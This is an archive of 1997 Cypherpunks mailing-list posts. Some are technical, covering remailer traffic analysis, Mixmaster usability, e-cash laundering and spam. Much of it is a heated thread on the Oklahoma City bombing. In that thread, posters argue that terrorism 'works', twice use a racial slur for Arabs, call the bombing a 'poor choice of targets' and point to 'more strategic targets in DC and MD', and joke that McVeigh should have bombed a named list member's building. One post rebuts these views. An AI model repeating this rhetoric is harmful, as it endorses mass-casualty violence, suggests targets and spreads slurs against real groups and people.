6/4/97, Lucky Green wrote: >At 06:27 PM 6/3/97 -0700, Tim May wrote: >>(There are important issues, discussed by several of us several years ago, >>and more recently by Wei Dai and Lucky Green, dealing with correlation >>analysis of messages sent and messages received...esentially pattern >>analysis. > >This type of analysis is unlikely to provide useful results for >high-latency systems such as remailers. However, this analysis can be very >fruitful on near real time systems such as ill-designed chained http >anonymizers. > >[Tim of course knows this, I just want to make sure that this is >universally understood.] Agreed, but there remains a risk even for conventional remailer uses. It all depends on latencies, numbers of messages, etc. Let us imagine Lucky and I are corresponding through a remailer network. Imagine the average latency, in total, is 2 hours. (Not unreasonable.) The kind of pattern analysis I'm talking about would look for "digrams" between my sending a message and Lucky receiving one. --Tim sends a message, a couple of hours later Lucky gets one. --then nothing, and Lucky gets nothing for several hours or more --Lucky sends a message and a couple of hours later Tim gets one --then nothing for several hours or more --Tim sends one, Lucky gets one a couple of hours later It all depends on: - how many other messages are being received by Lucky and Tim (PGP messages arriving from remailers, obviously, not just ordinary traffic, though ordinary traffic helps a bit) - the latencies, the longer the better (related to the above number) What I am picturing is a scatter plot of transmissions and receptions. I think an adversary with access to the sends and receives, even if encrypted (of course) could make some plausible deductions. He could certainly rule out some message pairs, e.g., Tim sends a message, but no message is received by, say, Perry. Or Perry sends a message, but this is not followed within statistically expected periods by messages received by, say, Duncan. So the "Tim-Lucky" digram might be "0. 6" and the "Tim-Perry" digram might be "0.003" and this would be useful in implicating likely comunicants. Throw in the reverse paths, e.g., the "Lucky-Tim" digram and the correlations could become quite strong. (Closely related of course to traffic analysis in general.) As we have been saying for years, there's a nice MS thesis in this for someone. --Tim May There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From tcmay at got.net Wed Jun 4 10:38:42 1997 From: tcmay at got.net (Tim May) Date: Thu, 5 Jun 1997 01:38:42 +0800 Subject: Hyper-Sensitive Traumatized Rescue Workers...gimme a break In-Reply-To: <19970603165035.36961@bywater.songbird.com> Message-ID: At 10:15 PM -0700 6/3/97, Bill Frantz wrote: >At 4:50 PM -0700 6/3/97, Kent Crispin wrote: >>Contrast ["milita violence"] with the brilliance of the anarchist >>Eward Abbey in "The Monkey Wrench Gang", where the anti-government >>acts were calculated to call forth popular support. I enjoyed "The Monkey Wrench Gang" immensely, but I'm not convinced Abbey captured the popular sentiment very well. Blowing up the dam they planned to hit would have doubtless produced the same maudlin images we see of OKC victims. Dead babies washed up in the debris along the Colorado River and all. CNN would love it. >This is an important point. When you kill people, you make implacable >enemies. Consider the SF Bay area rescue team that is still trying to ^^^^^^^^^^^^ >learn how to live with the memory of the mangled bodies they found Oklahoma ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ >City. They hate the person(s) responsible for the bombing and they did not >even have relatives killed there. To cement my politically incorrect images, I think it clear that most of these so-called "traumatized" teams are made more traumatized by all the mental health care professionals and Marin County social workers _telling them_ they should be traumatized! "Grief counseling" is a big business. Surely what they saw at OKC, person for person, was not substantially different from what they saw prying squashed bodies out of the freeway collapse in Oakland? Or of what rescue workers have seen in refinery explosions, mine collapses, dam busts (there goes that monkey wrench gang again), floods, fires, and countless war experiences. But it makes for a nice piece on CNN to interview the traumatized rescue worker and ask him much longer his "grief disability" insurance will last. I don't mean to "hurt their feelings" (as if any of them are reading the Cypherpunks list!!!) but enough is enough. They shouldn't be in rescue work if a building collapse is going to freak them out so much. --Tim May There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From frissell at panix.com Wed Jun 4 10:45:55 1997 From: frissell at panix.com (Duncan Frissell) Date: Thu, 5 Jun 1997 01:45:55 +0800 Subject: What Cultural Monopoly? In-Reply-To: <3.0.2.32.19970604062506.03bc0cd0@panix.com> Message-ID: <3.0.2.32.19970604133401.035f34dc@panix.com> -----BEGIN PGP SIGNED MESSAGE----- > If even you are red-baiting me now, it's time to pack it in. >I've lost. There must be easier ways to spend my time, like taking up >persuading mules as a hobby. Time for another vacation from the list. Don't go Seth. We need you. > The point was using real-Communist as a test of availability >(I keep saying real-Communist to ward off the stupid comments like >someone saying "Mario Cuomo"). Gerald Posner had a TV chat show for a while with Marlo Thomas' husband. I don't think he's on any more but he is a genuine commie. Have you tried your local Pacifica affiliate in Cambridge WMBR 88.1 FM. Here in New York we are blessed with genuine Marxists on WBAI an actual Pacifica station: http://www.pacifica.org "The stations of Pacifica Radio include KPFA Berkeley, KPFK Los Angeles, WBAI New York, KPFT Houston, and WPFW Washington, D.C. as well as 43 affiliate stations." We also have genuine Marxists on WLIB (a *commercial* station): http://www.wlib.com "WLIB 1190AM is the soul of New York's Black Community. It is the collective mind and experience of a people. It is the spirit and hope of the race. WLIB is the very heart of African American, Caribbean and African Culture, representing millions of residents in the New York, New Jersey, and Connecticut metropolitan areas." > But despites the "thousands of stations where you can hear >lots of different people", as Lizards said, the spectrum is fairly narrow. That was then this is now. As soon as we can muscle the FCC out of the picture and throw open the whole spectrum to efficient modern utilization and as soon as we deploy ADSL, Cable Modems, etc for high bandwidth net access and get good audio and video netcasting opportunities, there will be plenty of room for all sorts of ideas and the diversity of people's *interests* will guarantee that the whole spectrum of ideas has a place. > Note as *effective* (not theoretical) audience goes up, >ideological span goes *way* down. This has bad implications for the >evolution of the Net. Since anyone will still be able to put up any kind of a website, the span will be just as wide now or wider than ever in the future. As it is now than in the past. That's what happened with books. Today, it is easier to obtain a wider range of books than ever before. > Straight from the source, the things that will be expressed >are that which make the radio station owners rich. He said it, I >didn't. That's not the same at all as that which people would want to >hear, even for obvious reasons as marketing pressures to more wealthly >audiences. That's under the current economic model. Even today, had frequencies been allowed to be traded freely from the beginning, we would have more diversity because we would have more stations. >Trying to pound even these tiny insights through the yammer >noise is just taking too much energy. I know what you mean, Seth. I'm still trying to get you guys to name some actual person in the U.S. that lives in a smaller or less diverse media environment than a person similarly situated would have lived in before. DCF -----BEGIN PGP SIGNATURE----- Version: 5.0 beta Charset: noconv iQCVAwUBM5Wm5YVO4r4sgSPhAQEm3wP/SaYmiGVnbpDtxkfzZXUsQWbf0edJVAjm MEgJztGoiydAL1IASQ/xkTzjMySr5pWe7PEK7gZcI0PehtDjusAFC5DxZt57ecr8 MpYqPuLTwA9QVFF7zlvYBUag43LNYARIZRjosD/w+w66IPhWXW/ovXwC3ra2knOd C1R4Ox0sj8s= =b3Fa -----END PGP SIGNATURE----- From winsock at rigel.cyberpass.net Wed Jun 4 10:53:30 1997 From: winsock at rigel.cyberpass.net (WinSock Remailer) Date: Thu, 5 Jun 1997 01:53:30 +0800 Subject: McVeigh Message-ID: <199706041720.KAA01490@sirius.infonex.com> Lucky Green wrote: >At 08:41 PM 6/2/97 -0400, Hallam-Baker wrote: >>Appologists for McVeigh should consider that his actions did not >>advance the militia cause an iota, it destroyed it and along with >>it much of the right wing fringe. > >"Follow the money" is usually sound advice. More general, ask "who >benefits". Clearly, the constitutional militias and civil libertarians are >the losers of the Oklahoma bombing. The sole benefactors are the statists >and numerous government agencies. > >'Nuff said, Amen, Lucky. Perhaps it hasn't been pointed out often enough here, but this man spent YEARS in the US military, including a very brutal (if short) war. From all accounts, he attended exactly ONE Michigan militia meeting, and they kicked him out when they heard his violent rantings before the meeting was even over. There are no reports of him attending ANY other militia meetings. Is it only me, or could the phenomenon of militias being painted into (alleged) responsibility for this terrorist act not have happened in the absence of virulent anti-second-amendment-rights bias in the media? I thought so. me From tcmay at got.net Wed Jun 4 11:06:44 1997 From: tcmay at got.net (Tim May) Date: Thu, 5 Jun 1997 02:06:44 +0800 Subject: [CONTROVERSIAL]: A Defense of Terrorism In-Reply-To: Message-ID: At 8:25 AM -0700 6/4/97, Jeremiah A Blatz wrote: >Bill Frantz writes: >> At 4:50 PM -0700 6/3/97, Kent Crispin wrote: >> >Contrast ["milita violence"] with the brilliance of the anarchist >> >Eward Abbey in "The Monkey Wrench Gang", where the anti-government >> >acts were calculated to call forth popular support. > >> If you at least avoid killing people, then you have fewer bitter enemies >> and a better chance of holding on to your winnings. The examples of >> Gandhi, King, and Mandala come to mind. Contrast their success with the >> results of the violence approach as exemplified by the generations old wars >> in Ireland and Israel. > >You left out Sea Shepard, who sank the entire Icelandic whaling fleet >(with zero casualties) on night. Earth First!, Greenpeace, and other >somewhat-less-direct action groups have used "terrorist" means and >achieved enourmous popular support. I don't want to start "defending terrorism," esp. of the murderous sort, but the plain fact for anyone to see is that terrorism often _does_ work. Look at Palestine/Israel/the Zionist Insect/whatever. Had the Palestinians calmly filed petitions to get the land back that was seized by European Jews after the Second World War--the Brits often referred to Palestinians and Arabs as "sand niggers"--would any land ever have been transferred back? (Zionists will probably jump in here citing the various wars which triggered various land ownership changes, a la Gaza, the West Bank, parts of Jerusalem, the Golan Heights, etc. We cannot generally argue "alternate histories," though.) It seems obvious that 40 years of "terrorist" (freedom fighting?) attacks by "radical" Palestinian groups had a lot to do with Israeli voters and government deciding enough was enough and agreeing to limited self-government, etc. (The whole area and political scene is notoriously complicated. I've never been there, I'm not a Jew, nor am I a sand nigger, etc. I can't say whether the political scene would have been resolved better or more peacably had terrorism not occurred, but my strong suspicion is that the Palestinians would still be filing their petitions and being given the bureaucratic runaround had they never started blowing things up.) Terrorism is also what the American colonists did to British soldiers. Ambushing them from the trees was not a kosher form of attack (no pun intended), nor was attacking their barracks at night. (Sounds like blowing up the Americans in Beirut, doesn't it?) (In fact, the act of terrorism against the 242 Marines in Beirut in 1983 "worked," didn't it? The Americans were on their way out within weeks.) Yes, innocents die in such attacks. Yes, grieving mothers cry. Yes, yes, yes to all of the denunciations of terrorism. But the fact is that all war is a kind of terrorism, and all wars and all struggles have resulted in deaths of innocents. (Intereting that Bell is so widely condemned for wanting to transfer the burden to the actual guilty parties, and not the innocents usually consumed as fuel in wars.) --Tim May There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From chrisd at loc201.tandem.com Wed Jun 4 11:25:32 1997 From: chrisd at loc201.tandem.com (Chris DiBona) Date: Thu, 5 Jun 1997 02:25:32 +0800 Subject: McVeigh? Nimrods..... Message-ID: <01BC70D6.40D6C320@chrisd@loc201.tandem.com> Okay folks...what the hell is wrong with you? First off, this whole McVeigh Crap is a bit off topic..but we all know this. The amazing thing about the string of posts has been that people have forgotten that He has been found guilty of murdering quite a few people. Guilty, Guilty, Guilty. Jury of his peers, dare I say, people like us all. Randomly selected. This is how our system works. Yes there are flaws in the system. Yes the US govt. has it's problems in the past, present and future. Yes people have died because schnooks in DC have had thier heads up thier ass. Or not. So whether or not you belive he did it.....how can anyone be _for_ what _happened_. People died senselessly, I can't believe that anyone (in this case Duncan Frissell frissell at panix.com, lets give credit where it is due) can be so callous and , frankly, sick , to say : <> As to the Children of OKC, people who turn the care of their children over to government employees or contractors do not place too high a value on those children. <> Are you serious? You should be ashamed that you think this way. Do you really think those children who died weren't cared for? You are a sick person who should seriously consider therapy. Anyone who read this and said "Yeah!" is on the same plane. To all the people who defend blowing shit and people up to get thier point across.... Okay..so the IRA does it, and HAMMAS does it, and the CIA does it. So does the PLFP the FARC and a zillion other terrorist groups. And it appears McVeigh did it. But that doesn't make blowing up children in freakin' day care all right. Do you understand this? There is no reason to blow up kids. It's wrong. For any reason. Bad. Duncan...looking over your past posts.. .I've got to wonder if you were on acid when you wrote this, many of your posts were fairly cozigent. But this? Do you have children? Any cousins who are children? A nephew or neice? Do these children who may be important to you have parents who "care" about them enough to scour the planet to find a good,safe day care that isn't withing the blast radius or shooting range of : A government office. A large corporations headquarters. A law firm. A post office. A town square. A restaurant. A bank. Anywhere some asshole might have a gun and go loopy. Anywhere some asshole might have a car be drunk and go loopy. Anywhere some asshole might have a gun and a car and be drunk and go loopy. If they even could, I'm someone somewhere will find a way to fuck up that safe place. You get the point, I could go on....but I won't. Perhaps you should think and read over your posts before you post again. The only good thing (and I mean ONLY) to come out of the whole Mcveigh thing being discussed here on cypherpunks, is that it has allowed me to add to my killfiles people who have for some reason, had a prefrontal. To all the dipshits who could possibly think otherwise. I should also mention it is an EQUALLY fucked up thing to blow up adults. Like my fellow Santa Clara County Resident Bill Frantz said : For cypherpunks this comes down to: Make code, not bombs. Chris DiBona From tcmay at got.net Wed Jun 4 11:28:01 1997 From: tcmay at got.net (Tim May) Date: Thu, 5 Jun 1997 02:28:01 +0800 Subject: Cybernetic money laundering Message-ID: Hey, we've been saying this for years. It appears the experts now admit we were right. The difference is that what they _worry_ about, we _embrace_. --Tim Wednesday June 4 10:07 AM EDT Internet could help crime syndicates launder money By Richard Waddington LISBON - Big crime syndicates could soon be using the Internet to launder dirty money and there might not be much authorities can do about it, an international conference was told on Tuesday. The international web, which already allows clients to shop and sell around the globe, could become the perfect medium for the cocaine barons of Colombia or the Mafia gangs of Sicily to make their ill-gotten wealth respectable. International police are already having a hard time keeping up with the sophisticated maneuvers of criminals and fraudsters as they switch funds from country to country, often making use of lax banking regulations. But with the Internet and the coming introduction of electronic cash, so-called E-cash, the authorities could lose what has been one of their only advantages -- the need for criminal gangs to handle and at some stage deposit big quantities of cash. ..... E-cash could take the place of physical money in the same way that E-mail has replaced the posting of letters. Huge sums could be switched from person to person without the need to pass through any form of banking system, experts said. .... Backhouse said that experiments with E-cash, or digital banking, were already being carried out in around 25 countries and the system could become commonplace within five years or so. "What is only a little trickle at the moment will become a roaring torrent," he told Reuters. But the ability to switch faceless funds effortlessly around the world was not the only danger posed by the revolution under way in international communications, experts said. Organized crime could use the Internet to set up web-based companies offering services of all types to act as vehicles for "washing" their funds. "The Internet is an ideal medium. It will be difficult to prove that such companies and transactions are false," said Maclachlan. Crime gangs could even go so far as to set up their own banking services as accounts can be established with Internet banks using no more than a photocopy of a driving license as proof of identity, experts said. Global by nature, the network could be particularly difficult to police because of the tricky question of territoriality. Which country has responsibility when a bank can be based only in electronic space? Copyright, Reuters Ltd. All rights reserved From jya at pipeline.com Wed Jun 4 11:55:12 1997 From: jya at pipeline.com (John Young) Date: Thu, 5 Jun 1997 02:55:12 +0800 Subject: G-10 on Electronic Money Message-ID: <1.5.4.32.19970604183409.00936120@pop.pipeline.com> We offer the April 1997 report of the G-10 countries* "Electronic Money." http://jya.com/g10emoney.htm (121K) This is a survey of the electronic payments systems of the ten countries, and the status and prospects in each for policy, law enforcement, privacy and related issues. The report is by a Working Party set up after the Lyon conference in June 1996 to examine three policy areas: (1) consumer issues; (2) law enforcement issues; and (3) supervisory issues It was presented at a G-10 conference in DC on April 28 and publically released in the US on May 7 by the Treasury Department. * Belgium, Canada, France, Germany, Italy, Japan, Netherlands, Sweden, Switzerland, United Kingdom and the United States. From whgiii at amaranth.com Wed Jun 4 11:58:31 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Thu, 5 Jun 1997 02:58:31 +0800 Subject: McVeigh? Nimrods..... In-Reply-To: <01BC70D6.40D6C320@chrisd@loc201.tandem.com> Message-ID: <199706041844.NAA20350@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- If you don't want your children to get blown up don't put them in harms way. The government *KNEW* that this building was the target of numerious groups. They especially knew that it was a major risk on that day. They did nothing to warn the occupants of the building. This is no different than palcing a daycare center in a munition factory durring a time of war and then blaming the bomber pilots for blowing up children. The Judge of the McVeigh case said himself in his instructions to the jury that there was no evidence that McVeigh knew of the day care center in the building. McVeigh was going after the ATF agents in the building (all of which were conviently gone at the time of the bombing). A just where were your tears for the children that were burned alive by the ATF in Waco or the children of Weaver guned down by sinpers at Ruby Ridge? I guess it only ok to kill children if it's the Federal Government doing it. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5W3749Co1n+aLhhAQEsWQP/R2nbcaI5ZgcLJRrjfoXTcDOJ8mFDzVv1 BzDomMwafGWQw9NDAyFg1M7B31899OF0LnVrP4ezg5cRLOMUpjP7lBlKkxduBvUi yy/37h8czmepT3ejTAvLwdFWR1uIx3B8A2t79b52XwcO2WHSpRHLruK0oAUOGWMK Bfe2uIKzVOE= =WigK -----END PGP SIGNATURE----- From alano at teleport.com Wed Jun 4 11:59:46 1997 From: alano at teleport.com (Alan) Date: Thu, 5 Jun 1997 02:59:46 +0800 Subject: Who "invented" remailers? In-Reply-To: <199706040457.AAA12535@muesli.ai.mit.edu> Message-ID: On Wed, 4 Jun 1997, Hallam-Baker wrote: > I really can't get excited about US domestic policy. That is not where the > crypto is needed. Arguable point. Depends on if you fear getting busted because of which causes you support. For many that is a serious issue. > Eve so if you hypothesise the extent of surveillance such that mixmaster > remaillers are needed the constitution was thrown out long ago. And your point being...? The consititution is a document that is followed only when it suits the purposes of those in power. If it was not for the factional infighting of the various branches of power, we would have no rights left at all. > Now this happened under Hoover and the FBI still have their headquarters > named after him. That is for three reasons: 1) Many in the FBI get off on that kind of power and see nothing wrong with it. (As long as they are the ones doing the survelence. Try doing it to them and see what happens...) 2) It is on all their stationary. 3) It is carved in stone on the building. > I'm having great difficulty making sense of the finely calibrated level of > paranoia which makes mixmaster both effective and necessary. Unfortunatly for mixmaster to work effectivly, you need a threshold of usage. That threshold has not been reached yet. With the successful campaign against remailers by those who oppose them, the problem is made worse. (As well as supporting a form of encryption not commonly available to "Joe Sixpack".) Currently, use of the Mixmaster remailer system is out of reach of most of the average users out there. The only serious project to address that need has been Private Idaho and development has stopped on that project. > On the other hand it strikes me that if we could work out a better version > of Julf's pi.net remailer there would be a considerable benefit to the net. Julf's remailer was more of a nym server than a remailer. A remailer gives a one way path, a nymserver gives a path back for replies. Currently the nymserver network is in pretty bad shape as well. They are difficult to use and are dependant on the whims of the remailer network. (If one element in the chain of remailers goes down, you are screwed until you can reset things.) They also have people who would like to see them shut down because they do not like the uses to which they are put. (Spreading ideas that are illegal, immoral, and/or fattening.) An easy to use nymserver would be a "Good Thing(tm)". I believe it to be possible, it just needs better ways of surviving the rubber hose attacks such things come under from time to time. Do you have a design that needs implementing? alano at teleport.com | "Those who are without history are doomed to retype it." From whgiii at amaranth.com Wed Jun 4 12:28:05 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Thu, 5 Jun 1997 03:28:05 +0800 Subject: [CONTROVERSIAL]: A Defense of Terrorism In-Reply-To: Message-ID: <199706041913.OAA20798@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In , on 06/04/97 at 10:51 AM, Tim May said: >Yes, innocents die in such attacks. Yes, grieving mothers cry. Yes, yes, >yes to all of the denunciations of terrorism. But the fact is that all >war is a kind of terrorism, and all wars and all struggles have resulted >in deaths of innocents. >(Intereting that Bell is so widely condemned for wanting to transfer the >burden to the actual guilty parties, and not the innocents usually >consumed as fuel in wars.) Hi Tim, I think a distinction needs to be made between a war of aggression and people defending against that aggression. For the most part thoses labeled as "terrorist" are the one who are fighting against an aggressor. Most terrorist don't just wake up one morning and decide to start blowing things up. They only become active after a foreign power attacks them and they react in self defence no different if some one breaks into you house and you shoot them (I am sure that there are some liberal winnies here who think that selfdefence is wrong). If you did not have the Federal government acting as an aggressor towards its own citizens then you would not see such things happen. I personnaly think the OK was a poor choice of targets. There are much more strategic targets in DC and MD. You would think that McVeigh, with his military background, would have known better. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5W+049Co1n+aLhhAQHHcgP+M3V/0z4bTc9RWVF172cMQwCULm2gkwV8 f4/M5FhPn1FgMujf3IJeZp+GHd8ewJ9rmWIRILnwOTbSTUBQuzW7neaeRSLkDA0o pF5Fjc7ApMz0KQZPbVCxI8i64Ca3s56xaos8XMlUcBl1Exz9fH8cf3SKz8tEKTVv OAmhgkYLuWI= =uH9O -----END PGP SIGNATURE----- From whgiii at amaranth.com Wed Jun 4 12:34:13 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Thu, 5 Jun 1997 03:34:13 +0800 Subject: Who "invented" remailers? Message-ID: <199706041922.OAA20901@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In , on 06/04/97 at 11:46 AM, Alan said: >Unfortunatly for mixmaster to work effectivly, you need a threshold of >usage. That threshold has not been reached yet. With the successful >campaign against remailers by those who oppose them, the problem is made >worse. (As well as supporting a form of encryption not commonly >available to "Joe Sixpack".) Currently, use of the Mixmaster remailer >system is out of reach of most of the average users out there. The only >serious project to address that need has been Private Idaho and >development has stopped on that project. Development has not stoped on PI. As a matter of fact I just received an announcement that a new release is out. I am currently working on a simmilar project for the OS/2 platform. I am not sure what is being done on the Mac or *nix. Currently I am testing remailer support using PGP encryption but should have mixmaster support as soon as I get the mixmaster code ported over. I just downloaded the new mixmaster code so I will have to se what changes have been made. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5XAVI9Co1n+aLhhAQF1TQP+KlLlU6B3+mIcvMncireVvaY2Pr1bRoQk h9xdrBTYpIONHrbzp2eK4eMCDfuySbtm2F5/tCZhUpk5KF+AU9TqHf1zTGzEooUE brrheFXemwgjPHXEldSStvC9rW9XbrdN9cYKOZ9kcIrCS2+xqt0rlirI6e0D2JQu 9yHjqd/BJDM= =rrZK -----END PGP SIGNATURE----- From declan at well.com Wed Jun 4 12:34:50 1997 From: declan at well.com (Declan McCullagh) Date: Thu, 5 Jun 1997 03:34:50 +0800 Subject: Password pirates plunder XXX sites, from The Netly News Message-ID: [We include links to sites with porn passwords in today's story, BTW. --Declan] ******* http://cgi.pathfinder.com/netly/opinion/0,1042,1015,00.html The Netly News Network (http://netlynews.com/) June 4, 1997 Porn Free by Chris Stamper and Greg Lindsay (thenetlynews at pathfinder.com) Sexfilms.com used to be a small, members-only adult site that shipped full-frame videos over a super-fast T-3 line. Traffic on the site was comfortably low for about a year, owner Ray Alba says, until one name -- "Joe Camaro" -- started appearing with some frequency. Actually, it started appearing 500 times a minute. From Sweden, Japan, Hong Kong, Singapore -- just about anywhere. Somebody was passing out the password. Download speeds faltered, from 300K/sec to 6K/sec. And then the servers themselves began to crash. Finally, Alba had to shut down the site for several weeks to clear out Camaro and numerous other accounts that had leaked out to the Net. Alba was the latest victim of... Porn Piratz! A huge number of passwords to pay-only porn sites are loose on the Net. Just surf newsgroups like alt.sex.passwords or do a simple search through a typical web engine and long lists of logins are easy to find. Some of these logins are giveaways from people who ponied up the low, one-time-only flat fees that many sites charge. Others, apparently, were obtained with phony credit card numbers. Who knows how Porn Piratz get the rest. But they do: A Hustler executive told us that Hustler's sites have seven times its paid membership logging on every day. [...] From declan at well.com Wed Jun 4 12:59:06 1997 From: declan at well.com (Declan McCullagh) Date: Thu, 5 Jun 1997 03:59:06 +0800 Subject: Spam costs and questions Message-ID: A friend who's going to be speaking on one of the FTC panels next week sent me a few questions about spam. Does anyone want to try their hand at answering them? I'll forward along all responses I get. What are the costs to consumers of unsolicited e-mail? I guess the time it takes to delete it might be one, hard drive space might be another. I would like to know how to quantify it, and compare it with the cost of sending e-mail. If you banned commercial e-mail, wouldn't it just affect legitimate commercial transactions? That is to say, wouldn't fly-by-night pyramid-scheme builders still be able to spam? I would think that if they are so untraceable that it's hard to block their spam that it wouldn't really matter if it were simply made illegal. -Declan From user at rand.org Wed Jun 4 13:04:25 1997 From: user at rand.org (User Name) Date: Thu, 5 Jun 1997 04:04:25 +0800 Subject: nude gifs plz Message-ID: <3395BE29.871@rand.org> plz sends da gifz of naked chicks!!! From azur at netcom.com Wed Jun 4 13:05:49 1997 From: azur at netcom.com (Steve Schear) Date: Thu, 5 Jun 1997 04:05:49 +0800 Subject: Who "invented" remailers? In-Reply-To: Message-ID: >On the other hand it strikes me that if we could work out a better version >of Julf's pi.net remailer there would be a considerable benefit to the net. At FC '97 Jim McCoy gave a presentation on a significant upgrade to anonymizer-type remailers. At the time Jim said is was only a few months from a testable system. I haven't heard anything since then. Perhaps Lucky knows or Jim will chime in. --Steve From sunder at brainlink.com Wed Jun 4 13:16:18 1997 From: sunder at brainlink.com (Ray Arachelian) Date: Thu, 5 Jun 1997 04:16:18 +0800 Subject: McVeigh is not the issue! In-Reply-To: Message-ID: On Tue, 3 Jun 1997, Tim May wrote: > I don't see the McVeigh issue as one where we need to get into a pissing > contest. He blew up the building, he got caught, he got convicted, and now > he'll spend another $15 million of our money appealing his conviction for > the next several or more years. Yes, but that's $15M less tax payer dough the evil Uncle can use to build stealth bombers, nukes, or buy hard drives to store surveilance on. :) I'd rather have it "wasted" on him than on NSA spook salary, wouldn't you? For that, he is to be commended. (IMHO, he should have used that Ryder truck on Vulis's apt building, but that's a given. :-) =====================================Kaos=Keraunos=Kybernetos============== .+.^.+.| Ray Arachelian | "Boy meets beer. Boy drinks Beer, |./|\. ..\|/..|sunder at sundernet.com| Boy gets another beer!" |/\|/\ <--*-->| ------------------ | |\/|\/ ../|\..| "A toast to Odin, | For with those which eternal lie, with |.\|/. .+.v.+.|God of screwdrivers"| strange aeons, even death may die. |..... ======================== http://www.sundernet.com ========================= From sunder at brainlink.com Wed Jun 4 13:49:42 1997 From: sunder at brainlink.com (Ray Arachelian) Date: Thu, 5 Jun 1997 04:49:42 +0800 Subject: McVeigh In-Reply-To: Message-ID: On Tue, 3 Jun 1997, Paul Bradley wrote: > Tim McVeigh certainly acted for the right reasons. This does not make him > any less guilty, he killed innocent children in that building (no, I`m > not subscribing to the "save the children!" mentality, and do not believe > that an innocent childs life is more valuable than that of an innocent > adult, merely noting that as children they could not have been guilty of > acts of agression against McVeigh or anyone else because they were under > the age of criminal responsibility), if we were to say he were any less > guilty we would be allowing ourselves to believe in thoughcrime, and not > judging the overt act. There are those who would say that since the day care center catered to employees of the building, etc. McVeigh didn't make a mistake there, as reprehensible as that part of it was. A better question, and a bigger issue is this: what plausible explanation was given for the lack of BATF agents in the building on that day? Could it be that they knew about the attack? If they did, why did they allow it to happen, thus killing those kids in the day care center. If they did, we know who the true criminals are. But this is a good question. Will we ever know the truth? IMHO, If McVeigh did what he did, frying or lethal injection is acceptable, he decided to take an action that would potentially cost him his life, gambled and lost. Like all terrorists, the price of killing many is the price of being killed. Etc. It's a fair trade from one point of view (though my money says he's shitting bricks right now), unfair from the victim's point of view. On one had we have the "faceless" evil governmet that McVeigh and Co. are against. On the other we have the day care center and media fodder, etc. Somewhere in between lies reality. What happens in the future and what results come out of this are yet unknown. Many threads of action by Uncle Sam are possible, unfortunaly, he's likely to have forced the "faceless" evil ones to be yet even more fascist and restrictive, which in turn would fuel the next set of terrorist activities, and the impending revolution the militia is seeking. Let's see what happens. The unfortunate truth is that people will not put up with fascist behavior for very long. They may call for it to the point of a military state citing crime statistics, unsafety and such... But at one point you'll see them scream "freedom" and grab the nearest weapon - be it a tree branch or an A1 Abrams tank. :) And that is something America once knew - now, it knows "let's legislate the fuck out of the sheeple. More laws. This should be illegal" Or advertisements for things like circuses that say "This much fun should be illegal" illustrate the point. Life sucks. Death sucks even more. =====================================Kaos=Keraunos=Kybernetos============== .+.^.+.| Ray Arachelian | "Boy meets beer. Boy drinks Beer, |./|\. ..\|/..|sunder at sundernet.com| Boy gets another beer!" |/\|/\ <--*-->| ------------------ | |\/|\/ ../|\..| "A toast to Odin, | For with those which eternal lie, with |.\|/. .+.v.+.|God of screwdrivers"| strange aeons, even death may die. |..... ======================== http://www.sundernet.com ========================= From wombat at mcfeely.bsfs.org Wed Jun 4 13:51:45 1997 From: wombat at mcfeely.bsfs.org (Rabid Wombat) Date: Thu, 5 Jun 1997 04:51:45 +0800 Subject: Webpage picketing?... (fwd) In-Reply-To: <199706041411.JAA01411@einstein.ssz.com> Message-ID: On Wed, 4 Jun 1997, Jim Choate wrote: > Forwarded message: > > > Date: Tue, 3 Jun 1997 16:02:02 -0700 > > Subject: Re: Webpage picketing?... > > From: nobody at huge.cajones.com (Huge Cajones Remailer) 